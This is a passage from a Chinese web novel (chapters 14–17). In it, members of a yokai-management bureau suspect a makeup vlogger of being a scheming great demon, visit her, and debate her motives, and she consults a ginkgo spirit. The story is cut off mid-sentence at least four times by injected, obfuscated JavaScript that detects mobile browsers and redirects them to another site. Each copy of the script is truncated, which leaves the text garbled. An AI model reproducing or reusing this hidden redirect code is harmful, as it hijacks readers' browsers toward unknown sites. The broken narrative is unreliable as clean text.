“基于这一点考虑，哪怕是为了他们自己，她也肯定是不会希望出现这种局面的。所以她会向队长提出这种建议，不就是代表着她认为就算我们上门去拜访那个大妖，就算有什么谈不好的地方，至少也不至于有生命危险。” “同时，如果我们没有采纳她的建议，反倒会显得我们对她很不信任。她这样向我们提出建议，本身就是有可能会在大妖那里落下个不好的。承担着这种风险给我们提的建议，我们却没有采纳的话，下一次或许她就不会再对我们透露其他的什么了。” 一时间，大家都沉默了下来。 他说的很有道理，但也还是有人忍不住担心：“但万一这是大妖故意这么安排的呢？她也有可能是听了大妖的安排才这么说的，为的就是要让我们找过去呢？” “那就更要去了。”山柏回答道，“如果是这样，那大妖肯定不会无缘无故叫我们上门。我们不去的话，岂不是更得罪大妖？万一对方是友好的，这一下就有可能给对方落下个不好的印象。” “那对方要是叫我们就是想喊过去杀呢？” 这根本就是个争吵不出结果的问题，因为他们所了解的太少了。 在众人讨论了许久都没有得出结果的时候，有一个队员拿着手机突然大声道：“队长！那个游书姝新发了一个视频！” 一时，众人都停了下来，转头朝那边看去。 14.第14章 妖管局的会议室里，401小队的众人将游书姝的视频投在了大屏上，像是研究军情谍报一样，对视频进行详细的观察分析。 视频开头，游书姝说：“从今天开始，我打算专门开一个主题仿妆，名称就叫──百鬼夜行。” 众人眉头微蹙：以妖怪作为主题？ 游书姝还说：“当然了，现在这个年代了，大家也都清楚所谓妖怪什么的当然都是不存在的。” 会议室上方，飘过沉默的6个点：…… 之后，看着游书姝在化妆的过程中同时介绍着龙女的传说和习性，并渐渐将这些都落在了自己面颊的妆容之上，会议室的大家神情都越发严肃。 原因无它，只因游书姝所说的那些内容全都是真的，并且她画的妆容看上去也给他们一种“那就是龙女”的感觉。 要知道，在座的各位都是最起码都和妖怪打了有一年交道的。他们见过真正的妖怪，这种真实感给他们的冲击会更大。 “稍微停一下，”这时，有一个眼尖的队员突然开口，“重新播放一下最后妆容展示的那部分。” 控制着鼠标的队员调整了视频进度条，再次回到了视频里妆容展示的那一部分。 播放了几秒后，那人开口：“你们看，她脸上的水波纹像不像是活过来了一样？” 经他这么一提，所有人都将注意力放到了视频里游书姝面颊上画的水波纹上。 那里面似乎真的有水浪在浮动。 有人下意识问了一句：“是视频特效，还是妖术？” “应该是妖术吧？” “找专业的人去分析一下不就行了。” “有那个必要吗？这玩意儿对妖怪来说不就是幻术或者化形术，轻轻松松来一下就能搞定，还费那么大功夫去做视频特效干啥？” “好像也是。” “我说你们两个重点搞偏了吧？重点难道不是大妖做这个视频是想干什么吗？” “这视频里面有带什么妖术吗？” “不知道，我没感觉出来。” “我也没感觉出来。” “我也没有。” “也有可能是咱们几个境界太低了，所以才察觉不出来。” 首位上的石瑚敲敲桌子，发令道：“把视频链接转发到检测部门那边，告诉他们预估评级为王侯级，让他们安排人看一下。” “好。” 视频再次播放结束，石瑚看着下面的队员们：“说说吧，都有什么看法。” 立刻有人开始发言：“队长，我觉得这位……有没有可能是青洲那位派来的？” 一个胡茬大汉一脸懵逼：“啊？怎么就扯到青洲那位了？” “她这不是娇颜找的产品推广吗？” “什么娇颜？哦，你说刚刚视频里那个化妆品牌？这俩之间有什么关系吗？” 对方一脸惊讶的看着他：“娇颜是颜氏集团名下的化妆品品牌啊！你不知道吗！？” 而颜氏集团，就是青洲那位直接掌控的企业。集团上下的妖怪全都是听命于那位大妖王的，据说集团本部公司的含妖量甚至达到了70％，名副其实的妖怪企业。 胡茬大汉挠了挠头：“你说颜氏集团我知道，但这化妆品的牌子我哪懂呀。” 对面人一噎：“……也是。” 但不得不说，和青洲那边扯上了关系，确实是让人感觉松了口气。 主和派好啊，主和派省事儿。 不过也不是所有人都那么想。 “也有可能是故意的呢？”说话的队员神情越发凝重，因为她想到了一种可能…… “之前我们不是就在猜测这个游书姝和大妖究竟是不是同一个人吗？刚刚我们不是也推测这个大妖很有可能擅长卜算，擅长布局，有没有可能她就知道了这个小网红接了娇颜的一个推广，所以才选择了她这个身份？” “孤儿院出身，没有直系血亲，刚刚大学毕业，又搬到了人生地不熟的城市独自一人独居。这个身份……在一堆接了推广的网红博主当中，是绝对优选吧？” 一时间，众人又安静了下来。 没错，这个身份简直是太好取代了。 此时此刻，虽然还没有什么实质性的证据，但401小队的人已经基本都认为原本的游书姝和现在的大妖不是同一个了。 这时，山柏又突然开口道：“说起来……这个视频发布的时间，是不是有些太巧了？” 经他这么一提醒，大家顿时愕然，猛地反应过来—— 是啊，这个视频来的也太巧了。他们刚刚还在讨论着要不要真的如落秋的建议那样去拜访这个大妖，后脚对方就发了个视频，视频里还有着娇颜的推广。 如果他们没有深究，岂不是就会觉得对方是青洲那边主和派的妖怪，然后主动的送上门去…… 顿时，所有人都觉得脊背发凉。坐在首位上的石瑚也再一次感受到了在云杏寺门口和游书姝对视那一眼时的心惊。 这就是……和大妖对上的感觉吗？ 不，众人都很清楚，这种惊惧并不是因为对方是个大妖，而是这种一举一动都被对方如棋子般掌控在手心的感觉……令人有种无处可逃的无力感。 “队长！我们不能去！这肯定是圈套！”立刻就有队员大声道，似乎是想用这种大音量来说服石瑚。 “是啊队长，这肯定是对方布下的局，就等着我们入套呢！” “我们赶紧和上级提交申请，让上面派更高级别的人来吧，这已经超出我们的可控范围了。” 石瑚目光沉静，食指与大拇指因思考而下意识地摩挲着。 良久，她才终于开口下了决定：“将资料整理好后，向上级汇报。至于申请，先放一放。明天，我亲自上门去拜访一下这位大妖。” 队员们都瞪大了眼。 “队长！不能去啊！这也太危险了！” 然而石瑚的态度却很坚决：“我们现在的一切都只是推测，没有任何实质性的证据可以判定对方是抱了恶意来的。如果我们都猜错了，对方其实并没有恶意，我们却直接请总部派专员过来，那就是直接将对方给推了出去。” “那我们可以说是觉得我们的等级地位和对方不匹配，所以才请示了更高级别的人过来拜见呀。” 石瑚看了说话的人一眼：“你以为对面是傻子吗？” 就这么一个个看似巧合的布局落下来，谁敢说对面是个没脑子好糊弄的？ 石瑚：“我们和银湖区的妖怪们这么些年好不容易打好的关系，不能仅仅只是因为这些无实证的推测就把关系给闹僵了。就按我说的做，明天我亲自去。” “队长！” 众人见实在是劝不动她，便又有人开口：“队长，我陪你一起！” “队长，我也一起去！” “我也去！” 一群人全都一个个站了起来，脸上好像全都写着什么羁绊、友情的，感觉下一秒就要结伴去挑战最终boss了。 石瑚皱起眉：“用不了这么多人。” 她也不能确定对方究竟是不是友好的，万一真的算错了，这一去岂不是全队都凉了。 她目光往众人脸上一一扫过，最后落在了山柏身上：“山柏，你跟我一起去，其他人在局里待命。” 山柏立刻点头应下：“是，队长。” —— 此时，在他们眼中一切都尽在掌握的游书姝实际上压根不知道当地妖管局因为她的缘故一个个严阵以待，甚至都已经做好了赴死的准备。 她在看那位圭灵高人的视频。 对方更新很频繁，每隔几日就会发一个视频，说说近日宜什么、忌什么。 评论区里不乏有人信的，不过大部分都是来看胸肌、腹肌的，诸如［让我摸摸］、［好男人不包二奶］、［嘬一口］之类的评论挤满了评论区。 当然，还有一些更夸张的言论，开放得让其他姐妹都劝着收敛一点，总之整个评论区里裤衩子满天飞，人心黄黄，真正讨论吉凶祸福的没几个。 游书姝对此……毫不意外。倒不如说她在刚开始见到对方主页的时候就大概猜到就是这样了。 她甚至怀疑那些真正认真在听对方说啥的，会不会都是一些知道他身份的妖怪们。 当然她也注意到了，对方每周五晚上会开直播，帮人卜算。正好就是今晚，游书姝打算蹲一蹲。 不过眼下距离对方开播还有一段时间，游书姝又打开了妖妖灵的论坛。 她尝试着在上面搜索了一下圭灵高人。 虽然这是落秋推荐的，但游书姝还是觉得需要再从其他渠道了解一下。 然而她并没有在论坛里搜到相关的内容，这让游书姝有些疑惑。 她思考了一下，又搜索了乌洲、卜算。 这回终于搜到了一些东西，然而网友们说得都是遮遮掩掩的，有种对暗号的感觉。 有一个应该也是和游书姝一样想找圭灵高人卜算的，发帖子问：［最近遇上了点事儿，想找个妖友帮忙算算，想问下某笔记那位妖王大人会接我们这种小妖的单吗？］ 下面有人回问：［你是说那位很灵的高人吗？］ 楼主回：［对对对！］ ［那你大胆去吧，那位大人是乌洲那边的，你懂吧？把供奉给到了就行。］ 楼主立刻表示了感谢，不过还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841733|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不知道供奉要咋给，对方回话道：［就是直播间直接给刷，刷那啥，那啥你懂吧？反正就花钱刷，那俩字我也不敢用在大人身上，反正你知道是啥就行。］ 帖子下面还有一些妖怪在好奇他们说的啥，悄咪咪地打听，但说话的方式也都跟做贼似的，全都是“那啥”、“那位”、“那边”之类的指代词。 游书姝忽地了然，他们这是不敢讨论。就连给对方直播间刷打赏刷礼物，打赏、礼物这种词都不敢说。 她这时才突然想起来，论坛的规则中似乎有一条，说的是不准讨论妖王及以上级别尊者的名讳。 她眸光微闪。 看来她猜的不错，这个圭灵高人还真是个大妖。 她把目光放回到帖子上，重点在［那个大人是乌洲那边的，你懂吧？］这句话上。 楼主似乎一听对方提到乌洲就放心了许多，乌洲有什么特别的吗？ 抱着这个疑惑，游书姝又去搜索了一下乌洲。 消息众多，她在一众杂七杂八的论坛中耗时良久，整理出来了一个大概的情况。 乌洲妖怪似乎……很擅长场外围观。 感觉都已经形成刻板印象了，大家都把乌洲妖怪用来代指场外围观看戏。互联网上大家都说吃瓜，在妖妖灵论坛里大家都说［乌洲的集合了］，然后下面一群妖怪报道。 游书姝之前也刷到过类似的回复，但她还以为那些妖怪真是乌洲的，结果看了半天才知道这就是个梗。 翻译一下，［乌洲的集合了］就是［吃瓜围观的集合了］。 不过也不全面，她特地搜了下为啥大家会这样用，得到的科普是乌洲那边的大妖不参与主和派和主战派的争执，整个乌洲的妖怪都主张不站队、不参与纠纷，久而久之乌洲就成了中立派妖怪们的聚集地。 刚开始乌洲只是代指中立不站队而已，但这年头妖怪们也都被互联网给带坏了，慢慢地乌洲妖怪就进化成了吃瓜群众的代名词。 下面还科普了青洲妖怪代指卷王中的卷王plus，皓洲妖怪则代表讲义气但没脑子只知道冲的中二热血少年。 游书姝：“……” 感觉大概能从这些描述中窥见上面大妖怪们的大概性格。 游书姝倒是也尝试着搜索一下中洲妖怪有没有什么代指含义，但并没有这方面相关的内容，不过她大概也知道了一件事。 除了乌洲是中立不站队的，青洲那边是妖怪中主和派的主要阵地，而朱洲则似乎是主战派为主。 中洲和皓洲暂时不清楚。 松开鼠标，已经注视了屏幕许久的游书姝不由揉了揉太阳穴。看了眼时间，她这才发现已经过了那个圭灵高人的开播时间半小时了。 她连忙拿出手机去看对方的直播间，然而却发现对方根本没有开播。 游书姝还以为是自己不小心错过了对方的直播时间，对方已经下播了。然而看了下对方最新发的动态，才知道对方是请假了。 请假理由是：掐指一算，近日不宜开播，所以停播一段时间，归期待定。 下面一群人评论说这就是咕咕精的借口，但游书姝却没觉得对方是瞎胡说。 她知道那是真的能掐会算的妖怪，对方挂了假条，多半是真的算出来最近不宜直播了。只是这样一来，她一时半会儿也没办法指望找对方帮忙卜算了，让她难免有些愁。 可再愁也没办法，她也只能先给对方的直播间开了个特别关注，这样等对方开播了她就能第一时间知道，然后在心中期望一下对方不要停播太久。 回到首页，她发现大数据果然已经在给她推各种健身系男菩萨了。 游书姝：“……” 她就知道。 她长按点击，本来想点不感兴趣。但想了想，又没点。 嗯……虽然确实不是很热衷，但好像也确实可以看看。 —— 乌洲，网名圭灵高人的羊舌圭灵正在拧着眉头死命掐算。 一个小时前，他刚从自家师傅那儿蹭了顿饭，结果走的时候被师傅说让他最近停播一段时间，说是算出来他最近有血光之灾，让他避一避祸。 羊舌圭灵确实是听话地停播的，但是他给自己也算了算，发现确实有血光之灾，但他算不出来是什么原因。 他也是个犟的，从回来后就一直在各种卜，从铜钱龟甲到塔罗牌，他一番手段都试了个遍，愣是算不出来。 圭灵高人不由苦恼地挠头：“难不成是有人故意遮盖了天机？” 可这种事儿，在他们这一行里就跟下战帖一样。 圭灵高人忍不住撸起了袖子：“啧，小爷就不信这个邪了。来啊，那就比一比！” 15.第15章 且不提圭灵高人那边为了算出个所以然来把自己的妖力都给榨了个干，游书姝第二日就被石瑚敲响了房门。 吸了一口气，做好心理准备，游书姝逐渐熟练地将脸上的表情调整得冷漠疏离，随后开门将石瑚和山柏都引进了门。 如同昨日招待落秋一样，她给他们倒了一人一杯热水。 没给蜂蜜柚子茶。这两人是官方的人，游书姝总觉得拿蜂蜜柚子茶招待有些不太正式的感觉，可她这儿又没有正经茶叶，就给他们喝白开水吧。 “抱歉，我这儿没有茶叶。” “热水就够了，谢谢。”石瑚一面道谢，一面打量着面前这个面上还带着些学生气的大妖。 对方看上去和他们昨日在视频里看到的模样不太一样，视频里的游书姝眉眼间尽是温婉亲善，说话时总是含着笑的，而面前的大妖…… 虽说还是一样的面容，但浑身散发着一种生人勿近的气息，嗓音还是那个温软的嗓音，说话的语气客气中透着疏离。 这是游书姝故意为之，因为妖怪和除妖师对她而言都很是危险，她只有立起一个大妖的形象，才能自保。要是和他们太过亲近，那难免会暴露出一些错处，在接触的时候保持一定的距离才是最好的。 只不过在妖管局的众人都在猜测她究竟是不是真正的游书姝时，这种区别落在石瑚和山柏的眼中就有些耐人寻味了。 二人对视，交换了一个眼神，虽说是什么都没有说，但都大概明白了对方和自己是一样的看法—— 这究竟是镜头前与镜头后的区别，还是……本来就不是同一个人？ 暂且不去想这些，石瑚放下手中的杯子，开口道：“先自我介绍一下吧，我叫石瑚，是特殊协调管理局401小队的队长，银湖区这一片都是由我们小队负责进行协调管理。这是我的队员，山柏。” 游书姝昨天已经从落秋口中知道了石瑚，她看了一眼边上的山柏，点点头。 虽然对方应该也已经知道了她的名字，不过出于礼貌，游书姝还是开口报上了自己的名字：“游书姝。” 听她报上这个名字，石瑚和山柏心下都沉了沉。 妖怪们在人类社会行走，肯定都会有一个名字。有的妖怪会直接用妖名，但有些妖怪的妖名听上去就不太适合，所以会另外取一个化名。 像落秋，落秋是她的名，她没有姓。扮作人类的时候，她就将落改成了洛，身份证上写的便是洛秋。 但妖怪们在彼此社交的时候，还是会采用妖名，因为对他们而言，妖名才是他们真正的名字。在缔结契约或是使用一些特定妖术的时候，也只有妖名才会起到真正的作用。 而此时，虽说石瑚他们是人，但来拜访的却是大妖，而不是表面上的游书姝这个身份。可对方却只报上了游书姝这个名字…… 石瑚不知道游书姝为什么这么做，但她也不可能逼问对方，只能接下了这个名字：“游女士。” 游书姝当然不知道石瑚他们的想法，她又没有什么所谓的妖名，报的自然就是自己的名字。 她开口问：“石队长今天过来是有什么事情吗？” “也没什么特殊的，只是看游女士远道而来，我们作为银湖区负责与你们妖怪进行各种协调沟通的人，以后可能免不得会有需要和游女士你打交道的时候，也该过来打个招呼。” 石瑚这个时候倒是也委婉了起来，不像平日里那样直来直去的。 她不说，但游书姝还是知道的。对方不过就是想知道她来这儿干嘛的。 她回话道：“石队长客气，我就是觉得瑶京风景不错、气候宜人，是个好地方，我也一直都很喜欢，所以才搬过来打算在这边定居。至于打交道，我对这些事情没什么兴趣，石队长要是有什么事，还是去找落秋吧。” 她这话几乎是在明明白白地告诉石瑚他们，自己没打算做什么事也不打算掺和什么事了。 她能理解，妖管局的人无非就是怕她想做些什么，那她就明说了。 可先前的一个个误会早就让石瑚他们觉得游书姝是个擅长布局的，又认为她刚刚不报妖名是有意隐瞒，现在听她这么说，只觉得她的这些话都是说出来糊弄他们的场面话，只觉得头疼。 石瑚到底是不太希望自己这一趟白跑的，思索着又接了一句：“瑶京确实气候不错，不知道游女士先前是住在哪儿？” 游书姝有些诧异，她还以为官方的人已经把她调查过了。 “杉江市，我之前在那里上的大学。”她回答道。 石瑚和山柏的心更是又沉了沉。 他们当然知道游书姝是从杉江市来的，他们之前甚至还问过杉江市那边的小队，但压根没人听说过有这么个大妖。 可他们问的不是游书姝这个人，而是面前的大妖！ 对方拿游书姝的来历作为回答，这是打定主意要隐瞒自己的来历了吗？ 石瑚心里实在是高兴不起来，不得不硬着接道：“原来是杉江市，我之前有去那边玩过，我还记得那边的绿化带上种了很多的……我忘了那叫什么花了，总之很好看。” “石队长说的是凤凰花吧，确实有很多。” 石瑚立刻点头：“哦对，凤凰花。” 随后，石瑚又和游书姝说了些关于杉江市的事情，山柏也插了几句进来，游书姝以为对方是在试图和她拉近关系，也就跟他们聊了几句，甚至还主动推荐了点东西。 游书姝：“你们下次有机会再去的话，可以去看看。” 石瑚和山柏都是点着头。 “好。” “嗯，有机会我一定去看看。” 石瑚压根没去过杉江市，这些东西都是她和杉江市的小队打听来的。 她是在试探游书姝。 然而游书姝对杉江市的熟悉并没有坐实她就是游书姝本人这件事，只让石瑚和山柏觉得她是做好了详细的调查了解，更加觉得这个大妖心思缜密。 不动声色地又将话题聊回到游书姝身上，石瑚询问起她来瑶京有没有什么打算。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也不知道这些妖怪们是怎么做到的，一边用着一些听上去就很无厘头的词，一边又在说话时端着古老的文言味。 —— 在石瑚和山柏出发前往游书姝家前，石瑚就有下令。如果她和山柏这一去不回了，他们就要立刻向总部提交申请，让总部那边派人过来。 因此，小队的大家在他们出门后基本就一直在心中暗暗祈祷，希望他们能平安回来。 石瑚和山柏在上车后就给401小队的人通了话，告诉他们自己没事。401小队的众人纷纷都松了一口气。 等二人回到妖管局的时候，小队全员都已经等在那里了。 见他们二人回来，众人纷纷涌上前：“队长、小山，怎么样？” 石瑚冲着会议室的方向偏了偏头：“去会议室说。” 16.第16章 进了会议室，石瑚让山柏将事情都给众人说了一遍。 原本大家见到他们二人平安无事地回来了，还在欣喜之中，觉得这个大妖应该是善意的。然而在听完了山柏的叙述后，众人就发现他们高兴得太早了。 这大妖……怎么感觉字里行间都别有深意啊？ 几人一番讨论，都猜不透对方究竟是想来干什么的。 他们甚至都想不明白游书姝问他们借妖力检测仪是想干嘛。这东西虽说确实有用吧，但一般都是给那些不擅长感知或者是境界比较低无法感知更高级别妖力的人用的。为了实现各地妖管局小队的普及使用，功能上也没那么强大，最多就只能检测出公卿级也就是大概一字姓妖怪的妖力，再高就不行了。 可奇怪就奇怪在这儿。按理说对方一个二字姓的大妖，对妖力的感知可比这检测仪高了不知道多少，哪里还需要用得上这玩意。 401小队的众人满肚子不解。 “队长……那咱们还跟上级提申请吗？” 石瑚沉吟思索，随后开口：“先暂时不用。” “那队长，这个妖力检测仪……我们真的要借？” “借，山柏你等会儿把这次的汇报总结写一下，然后顺便附一份申请给我，我亲自报上去。” 山柏立刻点头：“好。” “队长，昨天你让我上报检测部门那边，让他们对那个视频做下检测，结果出来了。” 石瑚眉一挑：“怎么说？” “说是视频里没有什么妖术，是正常视频。” 既然是正常视频，那妖管局自然是不会将视频给下掉的，这是妖管局和妖怪主和派达成的协议，更别说这个视频还是娇颜买的推广。 不过不能下架视频，在妖管局认为视频传播会带来隐患的时候，却是可以下发文件要求平台方控制流量的。 “队长，要控制一下视频传播吗？” 石瑚摇了摇头：“不用，多关注一下后续情况就行。” 并不是她就完全相信对方发布视频没有什么别的打算了，只是……如果对方真的有什么目的，与其堵死了对方这条路，让对方去想别的或许会更隐晦更难以捉摸的办法，那不如就让对方把视频发出去，他们也好盯着些。 至此，他们也依旧没能得到什么太多的关于这个大妖的信息，却也没有更多的什么办法，只能走一步看一步地继续关注着游书姝的下一步动向。 ── 这天晚上，陆扶光转发了游书姝的视频链接，并直接表示游书姝是他的多年好友，说当年多亏有游书姝才保住他考试没有不及格，之前有几次绝美的舞台造型也是游书姝私下直接帮他弄的或是跟他出的主意。 总之，他一口一个姝姐喊着，还说自己有今天也多亏游书姝对他多有指点，猛夸他姝姐人美心善化妆一流，让粉丝们也帮忙多给游书姝的视频点点赞点点关注。 甚至喊了一声义母。 一时间，大量粉丝涌到了游书姝的视频底下，跟着陆扶光一起喊姝姐。因着陆扶光这些年笨蛋小狗的缺根筋形象深入人心，所以粉丝们也都表示谢谢姝姐拯救陆扶光的脑子。 还有粉丝说本来以为只有尤姐一个人在给陆扶光苦苦当妈，没想到外面还有一个妈，问游书姝觉得她适不适合做儿媳妇的，让游书姝忍不住想笑。 虽说并非所有粉丝都会真的关注游书姝的视频内容，但陆扶光的粉丝群体毕竟是以女性为主，对美妆一类感兴趣的自然也不少，所以这一波过后应该也会有不少人留下来。 游书姝看着评论区一群或是喊姐或是喊婆婆的，笑得有些无奈。 她去找了陆扶光。 【姝姝】：不是说只是帮我转发一下视频链接吗？怎么突然想起来搞这么煽情一出了？ 先斩后奏的陆扶光给她回了一个得瑟的表情。 【扶摇直上之光】：这可是我蓄谋已久的大计划！怎么样？有没有被吓到？ 游书姝哭笑不得。 【姝姝】：是有点，大明星突然公开和我有关联，我个小网红还真怕被你的粉丝给生吞活剥了。 【姝姝】：你发这些有和尤姐打过招呼吗？不会影响你什么吧？ 【扶摇直上之光】：我早就和尤姐说过了，就是尤姐让我说得煽情点的。 【扶摇直上之光】：我本来就想着随便说两句就行了，尤姐说那样会让粉丝猜东猜西的，让我多说点。 【扶摇直上之光】：结果就这么说了一堆，搞得好像我有多矫情似的。 游书姝不由发笑。 【姝姝】：尤姐考虑得周到，不过你怎么突然想起来跟粉丝说这些了？ 【扶摇直上之光】：那不是看我姝姐大学也毕业了，以后自己一个人闯荡社会也不容易，想着帮你一把嘛。 游书姝会心一笑。 【姝姝】：谢谢你了。 【扶摇直上之光】：别，咱俩这关系，就没必要谢来谢去了。 陆扶光虽说确实是因为经纪人尤姐的嘱咐，所以才很煽情地把之前的旧事拿出来说，但他说的也都是实话。 他之前算是刚出道就火了，那时候又才十八岁出头，初生牛犊不怕虎，又是一炮而红，正是意气风发、心比天高的时候，天天和经纪人杠，全赖游书姝在后面帮着尤姐一起管他，不然指不定能闯多少祸。 尤姐见陆扶光能听进游书姝的话，也就时不时来找游书姝来帮忙说他，搞得游书姝跟陆扶光半个妈似的。 想起以前的事，游书姝现在也是忍不住摇摇头发笑。 再去看陆扶光那条动态下面，有粉丝说他是不是被夺舍了。他还回复了，耿直地说是尤姐要他这么发，不然会被人误会他跑去搞小网红了，粉丝们扎堆的发哈哈哈哈，还夸他听话。 游书姝想了想，拿自己的大号回复了一句：［确实比前几年听话了。］ 没多会儿，收到了陆扶光粉丝们的一堆哈哈哈，以及来自尤姐的一句回复：［至少拆家之前还知道打个招呼问能不能拆。］ 游书姝忍俊不禁，给姝姐的回复点了个赞。 第二天醒来后，游书姝的视频直接挤上了美妆类视频排行榜的前列，［陆扶光到底有几个妈］的话题也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也可能是她方法用错了或者声音太小了，但游书姝也不好意思再喊大声点，否则一来会显得她人很蠢，二来感觉也有失大妖的颜面。 对着银杏树思考了一会儿，游书姝决定试着去问问看寺里的人。 虽然她也没把握寺里的人会不会知道。 但没想到，还真让她给问到了。 “洛秋吗？她在那边的非遗展示厅里面。” 游书姝有些意外，和对方道了声谢，然后便寻着来到了对方所说的非遗展示厅里，最后在非遗叶雕的体验处看到了正低头雕着树叶的落秋。 没想到对方竟然是做这个的。 落秋似有所感地抬头，正巧与游书姝对上了视线，神色露出些许惊讶。 游书姝适时开口：“落秋。” 落秋看了眼一旁的游客，没有再像之前那样恭敬得过分，但依旧微微低了下头。 17.第17章 因为考虑到妖怪也要上班，所以游书姝还是特地趁着周末过来的，却没想到落秋的工作竟然是在云杏寺里搞非遗体验项目。 仔细想了想，这工作似乎确实是挺适合寿命绵长的妖怪们。 据说这云杏寺里的银杏树树龄已经有500多年了，落秋自己都是个值得保护一下的古树，她会的东西估计也是不少，在这儿做个非遗传承人多少有点大材小用了。 只是这种明显是在休息日、节假日才更需要上班的职业，却是显得突然到访的游书姝有些不太礼貌了。 但此时落秋都已经发现她来了，她一个“大妖”要是留一句改天再来然后扭头就走，好像……也挺掉面子。 于是她想起了自己曾经在妖妖灵论坛上见过但是她还没学会就变回了人的分身术，走过去假作淡然地问了落秋一句：“分身会么？” 落秋愣了下，心想大人也太看得起她了，分身术那可是不少大妖都用不来的妖术，哪是她这么个小妖能学得会的。 她微微摇头，当着旁人的面，也不好称呼游书姝为大人，只开口道：“抱歉，我比较笨。您是有事么？麻烦稍等一下。” 游书姝看她将桌上的东西都给收了起来，然后跟着她绕进了后面的屋里，看上去好像是休息室。 进来后，落秋直接关上了门。 “外面不用有人看着吗？”游书姝忍不住问了一句。 落秋摇了摇头：“东西收了就好。不知大人今日要来，倒是落秋怠慢了，还请大人恕罪。” “无妨，倒是我来得突然，会不会打扰到你上班了。”游书姝哪里还好意思怪罪什么，她自己都觉得打扰人家工作有些过意不去了。 落秋手中张罗着杯盏，回道：“大人言重了，这体验处本就是妾身出于消遣才办的，开或不开都不妨碍事。” 游书姝这才了然：感情自己就是老板，开着解闷的。 那她就不觉着突然过来太叨扰了。 她看着落秋用她那套看上去疑似真古董的茶盏给她泡了壶蜂蜜柚子茶，总觉得这蜂蜜柚子茶有些“德不配位”。 而且她还注意到落秋冲泡的还是她那天招待对方的同款，心想着真巧，没想到对方也喜欢喝这个。 有种找到了同道中人的感觉。 实际上：落秋从来不喝这种，是那天去游书姝家里喝到的时候特地记下的，因为知道游书姝改天会来自己这儿，专门去买的同一个牌子。 她将茶盏放到游书姝面前，问：“不知大人今日到访，可是有何指教？” “谢谢。”游书姝看着面前的茶盏，脱口而出一声道谢。 落秋笑了笑：“大人言重，一杯茶饮罢了，担不得大人一声谢。” 记着自己还扮着大妖，游书姝也没太和对方客气，接着就直入了主题：“我上次不是说过想做古杏妖的仿妆么，这次是来和你聊聊这个的。” 落秋心下了然：“不知大人想知道些什么，落秋自是知无不言。” “倒也不必知无不言，你把你方便对外人说的告诉我就好，要是有不想说的，可以不必勉强。” 之后，游书姝便拿着自己这两天在做古杏妖资料整理时了解到的内容和落秋进行了谈论，也询问了她一些事情，完善了一下心中古杏妖的形象。 落秋在这个过程中也是多有感慨。 她原本就知道这位大人是个好相与的，可越是和游书姝接触，她才越发觉得游书姝不像表面看上去那般冷淡。 古杏妖在秋冬之时的状态总是很糟糕，暴躁易怒，和春夏之时是完全不同的状态。落秋也并不是很喜欢那个时候的自己，谈论起这个时，总是难免有几分忧虑。 而大人虽然面上依旧是疏离的神色，却是会为自己提到了这些而表示抱歉。一如她贸然来访，还会担心自己是否会打扰到落秋的工作。 落秋甚至能感受到她在那之后说起这方面的事情时，总是会多斟酌一下措辞。 虽然语气依旧是冷淡的，面上也不见丝毫笑容，但骨子里的温柔却是假不了的。落秋见过的人和妖都不少，她看得出来。 落秋面上的笑意也更真切了几分。 若是有这么位大人坐镇在他们银湖区，也是好的。 —— 游书姝收获不少，如果不是还记得端着个大妖的身份，她只怕是想跟落秋加一个联系方式，然后回头把妆容设计稿都发来给落秋帮忙改一改。 不过只是了解到那么多也已经让她很欣喜了。 “谢谢，麻烦你了。”她向落秋道谢。 游书姝发现自己竟然已经开始习惯用这种冷冷清清的语调并木着脸和人说话了。 感觉自己像个面瘫。 落秋依旧还是那副温婉的笑，略低下头：“大人客气，落秋也是许久未曾与谁聊起这些了，今日有这个机会聊上一聊，倒是也让妾身觉得难得。” 游书姝不由有些感慨，落秋是真的情商很高，很会说话，但是又不会让人觉得谄媚，总让她想起那些古装剧里措辞文雅又不卑不亢的世家小姐。 如果落秋是普通人，那游书姝这个时候自然是会想着请对方出去吃个饭以示感谢，但对方是个妖怪…… 游书姝从包里掏出了一个小首饰盒：“这个给你，算是谢礼。” 落秋有些意外，但还是收下了：“多谢大人。” 当着游书姝的面，落秋并没有将盒子打开，只是恭敬地收了起来。 那里面是一个项链吊坠，是游书姝从陆扶光给她的那一大堆东西中挑的。她和陆扶光说过一声，说是自己最近在试图和妖怪打交道，问他能不能把东西拿来送给妖怪。 陆扶光说那些东西都送她了，让她想咋用就咋用。总之是一副阔少模样，还说他家里多着呢，前些日子回家，他家里人又给他塞了一堆。问游书姝这些够不够，不够他再给她寄过来一些。 游书姝哭笑不得，谢绝了他再送来一批的打算，然后将这东西拿来给落秋了。 不是寻常物件，而且又是陆扶光家里人给他的，游书姝觉得拿来当作谢礼送给妖怪应该是不会出错。 临要走的时候，游书姝又想起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 